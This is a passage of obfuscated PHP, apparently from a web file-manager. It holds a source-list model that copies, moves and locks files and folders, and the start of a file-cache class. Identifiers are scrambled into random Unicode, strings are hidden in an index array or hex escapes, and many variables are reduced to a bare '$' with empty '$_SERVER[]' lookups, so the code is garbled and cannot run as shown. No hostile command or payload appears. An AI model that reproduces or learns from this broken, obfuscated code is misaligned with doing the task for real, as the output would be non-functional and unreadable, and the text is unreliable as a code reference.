$Ǟ[12]); } if ($ && $[0] == $ || !$ && $[$Ǟ[402]] == $) { $Κ² = LNG($Ǟ[527]); $[$Ǟ[528]] = $Ǟ[529]; } if (!$) { $[$Ǟ[32]] = $Κ²; } } else { $Ȫ = Model($Ǟ[504])->getInfoSimple($[$Ǟ[496]]); $Κ² = LNG($Ǟ[530]) . $Ǟ[162] . $Ȫ[$Ǟ[32]] . $Ǟ[164]; $[$Ǟ[531]] = array($Ǟ[32] => $Ȫ[$Ǟ[32]], $Ǟ[532] => $Ȫ[$Ǟ[532]], $Ǟ[533] => $Ȫ[$Ǟ[533]]); } } else { if ($[$Ǟ[411]] == self::TYPE_GROUP) { $Ȫ = Model($Ǟ[512])->getInfoSimple($[$Ǟ[496]]); $Κ² = $Ȫ[$Ǟ[32]]; } else { if ($[$Ǟ[411]] == self::TYPE_SYSTEM) { $Κ² = $Ǟ[534]; } } } $Κ² = $Κ² ? $Ǟ[8] . $Κ² . $Ǟ[8] : $Ǟ[8]; return $Κ²; } protected function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[454]); $승 = array_to_keyvalue($, $[12], $[456]); $ۗ = array_merge($, $승); $ث = Model($[525])->userListInfo($ۗ); foreach ($ as &$) { $ = $[$[454]]; $[$[454]] = $ث[$] ? $ث[$] : !1; $ = $[$[456]]; $[$[456]] = $ث[$] ? $ث[$] : !1; if (isset($[$[466]]) && $[$[466]][$[535]]) { $ = $GLOBALS[$[6]][$[89]][$[536]]; if ($[$[466]][$[537]] <= time() - $) { $this->metaSet($[$[402]], $[535], null); $this->metaSet($[$[402]], $[537], null); unset($[$[466]][$[535]]); continue; } $ = $[$[466]][$[535]]; $[$[466]][$[538]] = Model($[525])->getInfoSimpleOuter($); } } unset($); } public function parentLevelArray($Ð) { $ʼ =& $_SERVER[]; $Ð = explode($ʼ[50], trim($Ð, $ʼ[50])); return array_remove_value($Ð, $ʼ[198]); } public function listAll($) { $⢶ =& $_SERVER[]; $݅ = $this->sourceInfo($); $ = array($⢶[539] => array($⢶[540], $݅[$⢶[511]] . $ . $⢶[541]), $⢶[542] => 0); $ٴ = $⢶[543]; $ٙ̓ţ = "\x4c\105\106\x54\x20\112\x4f\111\116\x20{$this->tablePrefix}\x69\157\137\x66\x69\154\x65\40\146\151\x6c\145\x20\x6f\156\x20\x73\157\x75\162\143\x65\56\x66\x69\154\145\x49\x44\40\x3d\x20\146\151\x6c\x65\x2e\146\x69\x6c\145\111\x44"; $ = $this->alias($⢶[446])->field($ٴ)->where($)->join($ٙ̓ţ)->select(); $this->_listAppendAuth($); $this->_listAppendUser($); $this->_listAppendPath($); $ = array_to_keyvalue($, $⢶[402]); $ɤ = "\57{$݅[$⢶[32]]}\x2f"; $ɤ = $ɤ == $⢶[519] ? $⢶[8] : $ɤ; $ = array(); foreach ($ as $ァ => $Ł) { $ù = $this->parentLevelArray($Ł[$⢶[511]]); array_shift($ù); $ᤄ = $ɤ; for ($ = 0; $ < count($ù); $++) { $ᤄ .= $[$ù[$]][$⢶[32]] . $⢶[8]; } $ᤄ .= $Ł[$⢶[32]]; if ($Ł[$⢶[410]]) { $ᤄ .= $⢶[8]; } $ٙ = array($⢶[421] => str_replace($⢶[519], $⢶[8], str_replace($⢶[519], $⢶[8], str_replace($⢶[519], $⢶[8], $ᤄ))), $⢶[544] => intval($Ł[$⢶[410]]), $⢶[545] => intval($Ł[$⢶[76]]), $⢶[85] => intval($Ł[$⢶[85]]), $⢶[87] => $this->pathInfoFilter($Ł)); if (!$ٙ[$⢶[410]]) { $ٙ[$⢶[468]] = $Ł[$⢶[468]]; } $[] = $ٙ; } $ = array_sort_by($, $⢶[84]); return $; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($Һ) { $ܵ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($ܵ[546], $Һ); $Ҟ = 1; $this->_lockEvent($Һ, array($ܵ[547], $ܵ[548]), $Ҟ); $this->_lockParent($Һ, array($ܵ[548]), $Ҟ); $this->_lockEvent($Һ, array($ܵ[549], $ܵ[550]), $Ҟ); $this->_lockCheckEnd($ܵ[546], $Һ); } public function lockCopyEnd($ܱ) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent($ܱ, array($[547], $[548]), $); $this->_lockParent($ܱ, array($[548]), $); $this->_lockEvent($ܱ, array($[549], $[550]), $); } public function lockWriteStart($Ѵ, $ = '') { $ᣏ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($ᣏ[547], $Ѵ); $ = 1; $this->_lockKey($ᣏ[551] . $Ѵ . $ᣏ[10] . $, $); $this->_lockEvent($Ѵ, array($ᣏ[546], $ᣏ[548]), $); $this->_lockParent($Ѵ, array($ᣏ[546], $ᣏ[548]), $); $this->_lockCheckEnd($ᣏ[547], $Ѵ); } public function lockWriteEnd($ێ, $ = '') { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $܌Й = 0; $this->_lockKey($[551] . $ێ . $[10] . $, $܌Й); $this->_lockEvent($ێ, array($[546], $[548]), $܌Й); $this->_lockParent($ێ, array($[546], $[548]), $܌Й); } public function lockMoveStart($핥) { $Ε =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($Ε[548], $핥); $ړ = 1; $this->_lockKey($Ε[552] . $핥, $ړ); $this->_lockEvent($핥, array($Ε[546], $Ε[547]), $ړ); $this->_lockParent($핥, array($Ε[546], $Ε[548]), $ړ); $this->_lockEvent($핥, array($Ε[553], $Ε[549], $Ε[550]), $ړ); $this->_lockCheckEnd($Ε[548], $핥); } public function lockMoveEnd($) { $ͱ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($ͱ[552] . $, $); $this->_lockEvent($, array($ͱ[546], $ͱ[547]), $); $this->_lockParent($, array($ͱ[546], $ͱ[548]), $); $this->_lockEvent($, array($ͱ[553], $ͱ[549], $ͱ[550]), $); } private function _lockCheck($ݨ, $) { $Ӂۙ =& $_SERVER[]; $ = $this->sourceInfo($); $ՠ = $ݨ . $Ӂۙ[10] . $; $this->_lockTimeStart[$ՠ] = timeFloat(); if (!is_array($)) { return; } $ = LNG($Ӂۙ[554]); CacheLock::setErrorMsg($Ӂۙ[162] . htmlspecialchars($[$Ӂۙ[32]]) . $Ӂۙ[164] . $); $this->_lockKey($ՠ, 1); $this->_lockKey($ՠ, 0); $ґ = array_reverse($this->parentLevelArray($[$Ӂۙ[511]])); foreach ($ґ as $⪖) { $ՠ = $ݨ . $Ӂۙ[555] . $⪖; if (CacheLock::lockGet($Ӂۙ[556] . $ՠ)) { $ = $this->sourceInfo($⪖); CacheLock::setErrorMsg($Ӂۙ[162] . htmlspecialchars($[$Ӂۙ[32]]) . $Ӂۙ[164] . $); $this->_lockKey($ՠ, 1); $this->_lockKey($ՠ, 0); } } } private function _lockCheckEnd($ņ, $Ӄ) { $ =& $_SERVER[]; $ùџ = $ņ . $[10] . $Ӄ; CacheLock::setErrorMsg($[378]); if (!isset($this->_lockTimeStart[$ùџ])) { return; } $Ԛ = timeFloat() - $this->_lockTimeStart[$ùџ]; unset($this->_lockTimeStart[$ùџ]); if ($Ԛ > 0.5) { unset(self::$cacheSourceInfo[$[460] . $Ӄ]); } $ێ = $this->sourceInfo($Ӄ); if (!$ێ) { show_json(LNG($[105]), !1); } } private function _lockParent($, $ۘ, $) { if (!$this->autoLockSet) { return; } $ؑ = $this->sourceInfo($); if (!is_array($ؑ)) { return; } $ = array_reverse($this->parentLevelArray($ؑ[$_SERVER[][511]])); foreach ($ as $袶) { $this->_lockEvent($袶, $ۘ, $); } } private function _lockEvent($ا, $Ħ, $ߚ) { $ =& $_SERVER[]; if (!$this->autoLockSet) { return; } foreach ($Ħ as $²) { $Ā = $² . $[10] . $ا; if ($ߚ && CacheLock::lockGet($[556] . $Ā)) { continue; } $this->_lockKey($Ā, $ߚ); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($̒ܲ, $ = 1) { $ٝ = $_SERVER[][556] . md5($̒ܲ); if ($) { if (isset(self::$_lockItemArr[$ٝ])) { return; } self::$_lockItemArr[$ٝ] = 1; CacheLock::lock($ٝ, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$ٝ])) { return; } unset(self::$_lockItemArr[$ٝ]); CacheLock::unlock($ٝ); } } public function isParentOf($, $ʉ) { $Ǩ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($ʉ); $ = $[$Ǩ[511]] . $[$Ǩ[402]] . $Ǩ[50]; $ሳ = $[$Ǩ[511]] . $[$Ǩ[402]] . $Ǩ[50]; $ = strpos($ሳ, $) === 0; return $; } private $targetIsDelete = 0; public function copy($ϐ, $ܖ, $ŀĕ = REPEAT_REPLACE, $ = '') { $͘ =& $_SERVER[]; $ = $this->sourceInfo($ϐ); $ = $this->sourceInfo($ܖ); if (!$ || !$ || $[$͘[410]] != $͘[88]) { return !1; } if ($this->isParentOf($ϐ, $ܖ)) { return !1; } $衱 = $ ? $ : $[$͘[32]]; $this->lockCopyStart($ϐ); $this->lockWriteStart($ܖ, $衱); $А = array($͘[557] => array(), $͘[558] => array(), $͘[559] => array()); $this->targetIsDelete = intval($[$͘[431]]); $ݚ = $this->fileNameExistCache($ܖ, $[$͘[32]]); $ၗş = $this->_copy($ϐ, $ܖ, $ŀĕ, $А, !0, $); $this->_childrenListClear(); $this->lockCopyEnd($ϐ); $this->lockWriteEnd($ܖ, $衱); if ($[$͘[410]] == $͘[88] && $ݚ == $ၗş) { $this->folderSizeResetChildren($ݚ); } Model($͘[560])->addAll($А[$͘[558]], array(), !0); if ($ݚ != $ၗş || $[$͘[410]] == $͘[88]) { Model($͘[561])->eventCopy($ၗş); } $this->saveAll($А[$͘[559]]); Model($͘[200])->linkAdd($А[$͘[557]]); $this->folderSizeReset($ܖ); $this->updateModifyTime($ܖ); return $ၗş; } private function _copy($˟, $, $٨ƍ, &$, $, $܆ = '') { $Խ =& $_SERVER[]; $ں = $this->sourceInfoCache($˟); $ = $ں[$Խ[410]] == $Խ[88]; $ = $܆ ? $܆ : $ں[$Խ[32]]; $џ = $this->fileNameExistCache($, $); if ($) { $this->_childrenAllMake($˟); if ($ && $џ) { $this->_childrenAllMake($џ); } } if (!$џ) { return $this->_copyCreate($˟, $, $, $); } $ = $џ; if ($) { if ($٨ƍ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $٨ƍ, $); $ = $this->_copyCreate($˟, $, $, $); } else { $ݍ = $this->_childrenList($˟); foreach ($ݍ as $ٹ) { $this->_copy($ٹ[$Խ[402]], $џ, $٨ƍ, $, !1); } } } else { if ($٨ƍ == REPEAT_RENAME || $٨ƍ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $٨ƍ, $); $ = $this->_copyCreate($˟, $, $, $); } else { if ($٨ƍ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($џ); $ќ = $this->fileHistory($, $ں[$Խ[468]], $ں[$Խ[76]]); if ($ќ) { $[$Խ[557]][] = $ں[$Խ[468]]; } } else { if ($٨ƍ == REPEAT_SKIP) { } } } Hook::trigger($Խ[562], array($Խ[563], $ں, 0)); } return $; } private function _copyCreate($, $ʸ, $Є, &$ˤ) { $ =& $_SERVER[]; $ظմ = $this->sourceInfoCache($); $◤ = $this->sourceInfoCache($ʸ); $ʣˡ = $this->_makeItemData($ظմ, $◤, $Є); Hook::trigger($[564], $ʣˡ); Hook::trigger($[565], array($[566], $ʣˡ, 0)); $כŤ = $this->add($ʣˡ); $ = array($[402] => $כŤ, $[32] => $Є); $this->_copyApplyMeta($, $ˤ); if ($ظմ[$[410]] != $[88]) { $ˤ[$[557]][] = $ظմ[$[468]]; return $כŤ; } $ = array(); $ = array(); $this->_childrenListAll($, $); $ = count($); if ($ == 0) { return $כŤ; } $Ԃ = $this->sourceInfo($כŤ); foreach ($ as $𢋄) { $ͫ = $this->_makeItemData($𢋄, $Ԃ, $𢋄[$[32]]); $ͫ[$[511]] = $𢋄[$[511]]; $[] = $ͫ; } $this->chunkEventSet($[567], array($[568], $ʣˡ, $)); $this->addAll($, array(), !1); $ = $this->where(array($[432] => $כŤ))->select(); $؝ = $this->_childrenMakeRelation($, $); $؝[$] = $כŤ; $䔊 = array(); $Ŭ = array(); foreach ($ as $𢋄) { $̥ = $𢋄[$[402]]; $À = $this->_childrenMatch($؝, $𢋄, $Ԃ); $䔊[] = array($[402], $̥, $[432], $À[$[432]]); $Ŭ[] = array($[402], $̥, $[511], $À[$[511]]); $this->_copyApplyMeta($𢋄, $ˤ); if ($𢋄[$[410]] != $[88]) { $ˤ[$[557]][] = $𢋄[$[468]]; } } $this->chunkEventSet($[569], array($[570], $ʣˡ, $)); $this->saveAll($䔊); $this->chunkEventSet($[571], array($[572], $ʣˡ, $)); $this->saveAll($Ŭ); return $כŤ; } private function _childrenMakeRelation($, $) { $ =& $_SERVER[]; $ٚ = array(); $틃 = array(); foreach ($ as $٢) { $鍧Ȍ = $٢[$[32]] . $[8] . $٢[$[511]]; $ٚ[$鍧Ȍ] = $٢[$[402]]; } foreach ($ as $٢) { $鍧Ȍ = $٢[$[32]] . $[8] . $٢[$[511]]; $ = $ٚ[$鍧Ȍ]; $틃[$] = $٢[$[402]]; } return $틃; } private function _childrenMatch($ʊ, $뻂, $) { $ =& $_SERVER[]; $䙌 = $[$[511]]; $ʗ = $this->parentLevelArray($뻂[$[511]]); foreach ($ʗ as $ʱ) { if (isset($ʊ[$ʱ])) { $䙌 .= $ʊ[$ʱ] . $[573]; } } $䙌 = rtrim($䙌, $[50]) . $[50]; $ў = $this->parentLevelArray($䙌); $Ţ = $ў[count($ў) - 1]; return array($[432] => $Ţ, $[511] => $䙌); } private function _makeItemData($, $, $è) { $ =& $_SERVER[]; $ܳ = array($[574] => $[$[410]], $[420] => $è, $[575] => $[$[412]] ? $[$[412]] : $[12], $[469] => $[$[468]] ? $[$[468]] : 0, $[545] => $[$[76]] ? $[$[76]] : 0, $[576] => intval($[$[411]]), $[577] => intval($[$[496]]), $[578] => intval(USER_ID), $[579] => intval(USER_ID), $[401] => intval($[$[402]]), $[580] => $[$[511]] . $[$[402]] . $[50], $[424] => $[$[85]] ? $[$[85]] : time(), $[430] => 0, $[581] => $[12]); return $ܳ; } private function _copyApplyMeta($Ò, &$˺) { $֭ =& $_SERVER[]; $߹ = $Ò[$֭[402]]; $ް = $Ò[$֭[32]]; if (!isset($Ò[$֭[582]]) || !$Ò[$֭[582]] || $Ò[$֭[582]] == $֭[198]) { $˺[$֭[559]][] = array($֭[402], $߹, $֭[582], short_id($߹)); } if (Input::check($ް, $֭[583])) { $˺[$֭[558]][] = array($֭[402] => $߹, $֭[94] => $֭[465], $֭[374] => str_replace($֭[53], $֭[12], Pinyin::get($ް))); $˺[$֭[558]][] = array($֭[402] => $߹, $֭[94] => $֭[464], $֭[374] => Pinyin::get($ް, $֭[584])); } $˺[$֭[558]][] = array($֭[402] => $߹, $֭[94] => $֭[444], $֭[374] => KodSort::makeStr($ް)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $ =& $_SERVER[]; $®ل = $this->sourceInfo($); $ = $[585]; $ˤ = array($[511] => array($[540], $®ل[$[511]] . $ . $[541]), $[431] => $this->targetIsDelete); $ = $this->field($)->where($ˤ)->select(); if (!$) { return; } $ = array_to_keyvalue($, $[402]); foreach ($ as $۸) { $ѝ = $۸[$[432]]; $ = $۸[$[402]]; if (!isset($this->_childrenListCache[$]) && $۸[$[410]] == $[88]) { $this->_childrenListCache[$] = array(); } if (!isset($this->_childrenListCache[$ѝ])) { $this->_childrenListCache[$ѝ] = array(); } $this->_childrenListCache[$ѝ][$] = $۸; $this->_childrenItemCache[$] = $۸; } } private function _childrenListAll($, &$) { $ٔ =& $_SERVER[]; if (!isset($this->_childrenListCache[$])) { return; } $ = $this->_childrenListCache[$]; foreach ($ as $ => $) { $[$] = $; if ($[$ٔ[410]] == $ٔ[88]) { $this->_childrenListAll($, $); } } } private function sourceInfoCache($) { if (isset($this->_childrenItemCache[$])) { return $this->_childrenItemCache[$]; } return $this->sourceInfo($); } private function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->_childrenListSelect($); } private function _childrenListSelect($) { $ =& $_SERVER[]; $ = array($[432] => $, $[431] => $this->targetIsDelete); $߅ = $this->where($)->select(); $߅ = $߅ ? $߅ : array(); $ = array_to_keyvalue($߅, $[402]); $this->_childrenListCache[$] = $; foreach ($ as $ => $) { $this->_childrenItemCache[$] = $; } return $; } private function fileNameExistCache($Ҷ, $̡) { $ =& $_SERVER[]; $̡ = strtolower($̡); $在 = $this->_childrenList($Ҷ); foreach ($在 as $ɣ) { if ($̡ == strtolower($ɣ[$[32]])) { return $ɣ[$[402]]; } } return !1; } private function fileNameAutoCache($, $ہ, $, $) { $ք =& $_SERVER[]; $˒ = $this->_childrenList($); $ = array_to_keyvalue($˒, $ք[12], $ք[32]); return $this->fileNameAutoGet($, $ہ, $, $); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($֏, $, $ޡ = REPEAT_REPLACE, $ = '') { $ɓ =& $_SERVER[]; $ = $this->sourceInfo($֏); $ = $this->sourceInfo($); if ($[$ɓ[432]] == $[$ɓ[402]]) { if ($[$ɓ[431]] == $ɓ[88]) { Model($ɓ[429])->restore(array($֏)); } if (!$ || $ == $[$ɓ[32]]) { return $֏; } } $Ϻ锐 = $this->pathInfoMore($֏); if ($this->isParentOf($֏, $)) { return !1; } if (!$ || !$ || $[$ɓ[410]] != $ɓ[88]) { return !1; } Hook::trigger($ɓ[586], $Ϻ锐); $this->targetIsDelete = intval($[$ɓ[431]]); if ($[$ɓ[432]] == $ && $ != $[$ɓ[32]]) { $Ν = $this->fileNameExist($, $); if ($Ν && $[$ɓ[410]] == $ɓ[198]) { $ = $this->sourceInfo($Ν); $ = $this->fileHistory($, $[$ɓ[468]], $[$ɓ[76]]); if (!$) { Model($ɓ[471])->remove($[$ɓ[468]]); } $this->removeNow($֏, !1); $this->folderSizeReset($); Hook::trigger($ɓ[587], $Ϻ锐); return $Ν; } } $ۨ = $ ? $ : $[$ɓ[32]]; $this->lockMoveStart($֏); $this->lockWriteStart($, $ۨ); $ = array($ɓ[557] => array(), $ɓ[588] => !1); $this->clearShare($֏, $); $ɉˬ = $this->fileNameExistCache($, $[$ɓ[32]]); $ = $this->_move($֏, $, $ޡ, $, $); $this->sourceCacheClear(); if ($[$ɓ[410]] == $ɓ[88] && $ɉˬ) { $this->folderSizeResetChildren($); } Model($ɓ[200])->linkAdd($[$ɓ[557]]); if ($ɉˬ && $[$ɓ[588]]) { $this->removeNow($֏, !1); } $this->lockMoveEnd($֏); $this->lockWriteEnd($, $ۨ); $this->folderSizeReset($[$ɓ[432]]); $this->folderSizeReset($); $Ѻ = array($[$ɓ[432]], $); if ($[$ɓ[410]] == $ɓ[88]) { $Ѻ[] = $֏; } $this->updateModifyTime($Ѻ); Model($ɓ[561])->eventMove($֏, $[$ɓ[432]], $); Hook::trigger($ɓ[587], $Ϻ锐); return $; } private function _move($Ѐ, $, $, &$, $ = '') { $ =& $_SERVER[]; $݆ = $this->sourceInfo($Ѐ); $ = $݆[$[410]] == $[88]; $뛅 = $ ? $ : $݆[$[32]]; $ᖪ = $this->fileNameExistCache($, $뛅); $this->lockMoveStart($Ѐ); $this->lockWriteStart($, $뛅); if (!$ᖪ) { return $this->_moveForce($Ѐ, $, $뛅); } $ˬ = $ᖪ; $ȯ = !1; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $뛅 = $this->fileNameAuto($, $뛅, $, $); $ˬ = $this->_moveForce($Ѐ, $, $뛅); } else { if ($ == REPEAT_RENAME_FOLDER) { $ = REPEAT_RENAME; } $ = $this->_childrenListSelect($Ѐ); foreach ($ as $) { $this->_move($[$[402]], $ᖪ, $, $); } $ȯ = !0; } } else { if ($ == REPEAT_SKIP) { $ȯ = !0; } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $뛅 = $this->fileNameAuto($, $뛅, $, $); $ˬ = $this->_moveForce($Ѐ, $, $뛅); } else { if ($ == REPEAT_REPLACE) { $☉ = $this->sourceInfoCache($ᖪ); $ǐ = $this->fileHistory($☉, $݆[$[468]], $݆[$[76]]); $ȯ = !0; if ($ǐ) { $[$[557]][] = $݆[$[468]]; } } } } } if ($ȯ && !$[$[588]]) { $[$[588]] = !0; } return $ˬ; } private function _moveForce($㠐, $̬, $) { $ =& $_SERVER[]; $鉨 = $this->sourceInfo($㠐); $ż = $this->sourceInfo($̬); $ = $鉨[$[410]] == $[88]; $״ = array($[401] => $ż[$[402]], $[580] => $ż[$[511]] . $ż[$[402]] . $[50], $[576] => $ż[$[411]], $[577] => $ż[$[496]], $[579] => USER_ID, $[420] => $); $ = $鉨[$[411]] == SourceModel::TYPE_GROUP && $ż[$[411]] == SourceModel::TYPE_GROUP && $鉨[$[496]] == $ż[$[496]]; if (!$ && $this->moveClearAuth) { Model($[493])->authClear($㠐); } $ = $鉨[$[431]] == $[88] && $ż[$[431]] != $[88]; if ($) { $״[$[430]] = 0; } if ($) { $ő = array($[580] => array($[540], $鉨[$[511]] . $鉨[$[402]] . $[541])); $ᚔ = $鉨[$[511]] . $鉨[$[402]] . $[50]; $ᤤ = $ż[$[511]] . $ż[$[402]] . $[50] . $鉨[$[402]] . $[50]; $ = array($[580] => array($[589], "\x72\145\x70\154\x61\x63\x65\x28\160\141\162\x65\x6e\x74\x4c\145\166\x65\x6c\x2c\47{$ᚔ}\47\x2c\x27{$ᤤ}\47\51"), $[576] => $ż[$[411]], $[577] => $ż[$[496]]); if ($) { $[$[430]] = 0; } $this->where($ő)->data($)->save(); } $this->where(array($[417] => $㠐))->data($״)->save(); return $㠐; } private function clearShare($Ȁ, $أ) { $û =& $_SERVER[]; $ = $this->sourceInfo($Ȁ); $ = $this->sourceInfo($أ); if ($[$û[496]] == $[$û[496]] && $[$û[411]] == $û[590]) { return; } $ = array($û[511] => array($û[540], $[$û[511]] . $Ȁ . $û[541])); $Î = $this->field($û[417])->where($)->getField($û[402], !0); if (!$Î) { return; } $ = array($û[402] => array($û[7], $Î), $û[591] => 1); $ź = Model($û[592])->field($û[593])->where($)->select(); if (!$ź) { return; } $ź = array_to_keyvalue($ź, $û[12], $û[593]); $ = array($û[593] => array($û[7], $ź)); Model($û[592])->where($)->save(array($û[591] => 0)); Model($û[594])->where($)->delete(); } public function copyFolderFromIO($, $֨, $, $, $ɕ, $ڨ˺ = false) { $Ǖ =& $_SERVER[]; $ = array($Ǖ[558] => array(), $Ǖ[559] => array(), $Ǖ[557] => array(), $Ǖ[595] => array()); $ƅ = $ڨ˺ ? $ڨ˺ : $->pathThis($֨); $ = $this->fileNameExist($, $ƅ); $ = $this->mkdir($, $ƅ, $); if (!$ || $ == REPEAT_RENAME_FOLDER) { $ = !1; } if ($) { $this->_childrenAllMake($); } Hook::trigger($Ǖ[596]); $this->_copyChildTo($, $֨, $, $, $, $ɕ); Hook::trigger($Ǖ[597]); if ($) { $this->folderSizeResetChildren($); } $this->_childrenListClear(); Model($Ǖ[560])->addAll($[$Ǖ[558]], array(), !0); Model($Ǖ[561])->eventCopy($); $this->saveAll($[$Ǖ[559]]); Model($Ǖ[471])->linkAdd($[$Ǖ[557]]); Model($Ǖ[471])->remove($[$Ǖ[595]]); $this->folderSizeReset($); $this->updateModifyTime($); return $; } private function _copyChildTo($䲺, $О, $ၧ, $, &$ن, $) { $Ǘ =& $_SERVER[]; $炓 = $this->sourceInfoCache($ၧ); $ = $䲺->listPath($О); $ = $ ? $ : array($Ǘ[83] => array(), $Ǘ[82] => array()); $Ⓨ = array_merge($[$Ǘ[83]], $[$Ǘ[82]]); $ = $this->_addFiles($䲺, $[$Ǘ[83]], $); $Ƒ = array(); foreach ($Ⓨ as &$غ) { if (isset($[$غ[$Ǘ[32]]])) { $غ = $[$غ[$Ǘ[32]]]; } $غ[$Ǘ[410]] = $غ[$Ǘ[33]] == $Ǘ[75]; $غ[$Ǘ[412]] = substr(_get($غ, $Ǘ[174], $Ǘ[12]), 0, 10); $غ[$Ǘ[76]] = _get($غ, $Ǘ[76], 0); $غ[$Ǘ[468]] = _get($غ, $Ǘ[468], 0); if (!isset($غ[$Ǘ[598]]) && $غ[$Ǘ[468]]) { $ن[$Ǘ[595]][] = $غ[$Ǘ[468]]; } if ($) { $ = $this->fileNameExistCache($ၧ, $غ[$Ǘ[32]]); if ($) { if ($غ[$Ǘ[410]] || $ == REPEAT_SKIP) { continue; } if ($ == REPEAT_REPLACE) { $׀ = $this->sourceInfoCache($); $î = $this->fileHistory($׀, $غ[$Ǘ[468]], $غ[$Ǘ[76]]); if ($î) { $ن[$Ǘ[557]][] = $غ[$Ǘ[468]]; } continue; } else { if ($ == REPEAT_RENAME) { $غ[$Ǘ[32]] = $this->fileNameAutoCache($ၧ, $غ[$Ǘ[32]], $, !1); } } } } if (!$غ[$Ǘ[410]] && $غ[$Ǘ[468]] == 0) { continue; } if (!$غ[$Ǘ[410]] && $غ[$Ǘ[468]]) { $ن[$Ǘ[557]][] = $غ[$Ǘ[468]]; } $Ƒ[] = $this->_makeItemData($غ, $炓, $غ[$Ǘ[32]]); } unset($غ); if (!empty($Ƒ)) { $this->addAll($Ƒ); $this->_childrenListSelect($ၧ); } $ = $this->_childrenList($ၧ); $ = array_to_keyvalue($, $Ǘ[32]); foreach ($Ⓨ as $غ) { $׀ = $[$غ[$Ǘ[32]]]; $Ӎ = $׀[$Ǘ[402]]; $this->_copyApplyMeta($׀, $ن); if ($غ[$Ǘ[33]] == $Ǘ[75]) { $غ[$Ǘ[84]] = $䲺->getPathInner($غ[$Ǘ[84]]); $this->_copyChildTo($䲺, $غ[$Ǘ[84]], $Ӎ, $, $ن, $); } } } private function _addFiles($ֿ, $, $) { $ϣ =& $_SERVER[]; if (!$ || count($) == 0) { return array(); } $ı = array(); foreach ($ as &$Ѯ) { Hook::trigger($ϣ[599], $Ѯ); $Ѯ[$ϣ[84]] = $ֿ->getPathInner($Ѯ[$ϣ[84]]); $ = $ֿ->hashSimple($Ѯ[$ϣ[84]]); $ױ = $ֿ->hashMd5($Ѯ[$ϣ[84]]); if (strlen($ױ) > 10 && !isset($ı[$ױ])) { $ı[$ױ] = array(); } $Ѯ[$ϣ[177]] = $; $Ѯ[$ϣ[176]] = $ױ; $ı[$ױ][] =& $Ѯ; if (count($ı[$ױ]) > 1) { $Ѯ[$ϣ[598]] = !0; } Hook::trigger($ϣ[600], $Ѯ); } unset($Ѯ); $ = array($ϣ[176] => array($ϣ[7], array_keys($ı))); $Ȗ = Model($ϣ[601]); $ = $Ȗ->where($)->select(); $ = $ ? $ : array(); foreach ($ as $) { if (!isset($ı[$[$ϣ[176]]])) { continue; } $ = $ı[$[$ϣ[176]]]; foreach ($ as &$Ѯ) { $Ѯ[$ϣ[468]] = $[$ϣ[468]]; $Ѯ[$ϣ[598]] = !0; } unset($Ѯ); } $ѐ = array(); foreach ($ as $٘ݪ) { Hook::trigger($ϣ[602], $٘ݪ); if (isset($٘ݪ[$ϣ[598]]) && $٘ݪ[$ϣ[598]]) { Hook::trigger($ϣ[603], $٘ݪ); continue; } $Ȣ = $ֿ->getPathInner($٘ݪ[$ϣ[84]]); $ = $Ȗ->addFileMake($Ȣ, $٘ݪ[$ϣ[76]], $٘ݪ[$ϣ[177]], $٘ݪ[$ϣ[176]], $٘ݪ[$ϣ[32]], $); Hook::trigger($ϣ[603], $٘ݪ); if (!is_array($)) { continue; } $ѐ[] = $; } $Ȗ->addAll($ѐ); $ = array($ϣ[176] => array($ϣ[7], array_keys($ı))); $ = $Ȗ->where($)->select(); $ = $ ? $ : array(); foreach ($ as $) { if (!isset($ı[$[$ϣ[176]]])) { continue; } $唀 =& $ı[$[$ϣ[176]]]; foreach ($唀 as &$Ѯ) { $Ѯ[$ϣ[468]] = $[$ϣ[468]]; } unset($Ѯ); } $ = array(); foreach ($ as $ϓ) { $[$ϓ[$ϣ[32]]] = $ϓ; } return $; } } goto c菂; AϽ: class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($⓫, $Lj) { $ =& $_SERVER[]; $this->cachePath = $⓫[$[84]]; $this->prefix = $[833]; $this->cacheTime = $Lj; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($) { $Ί =& $_SERVER[]; $ = str_replace(array($Ί[834], $Ί[97], $Ί[73]), $Ί[835], $); return $this->cachePath . $Ί[836] . $ . $Ί[837]; } public function set($, $ߜ, $Ƣܜ = false) { $Ƣܜ = $Ƣܜ ? $Ƣܜ : $this->cacheTime; $ = $this->getFile($); if (file_put_contents($, $this->prefix . $ߜ, LOCK_EX)) { @touch($, intval(time() + $Ƣܜ)); clearstatcache(); return !0; } @unlink($); return !1; } public function get($֠) { $ = $this->getFile($֠); if (file_exists($) && filemtime($) < time()) { @unlink($); return !1; } $ = @file_get_contents($); return substr($, strlen($this->prefix)); } public function remove($) { $ٶ = $this->getFile($); return @unlink($ٶ); } public function deleteAll() { $ڭ =& $_SERVER[]; $ަ = scandir($this->cachePath); foreach ($ަ as $ܳ) { $ = $this->cachePath . $ܳ; if (strpos($, $ڭ[837]) && strpos($, $ڭ[838])) { @unlink($); } } } public function clearTimeout() { $؎ư =& $_SERVER[]; $؉ײ = scandir($this->cachePath); foreach ($؉ײ as 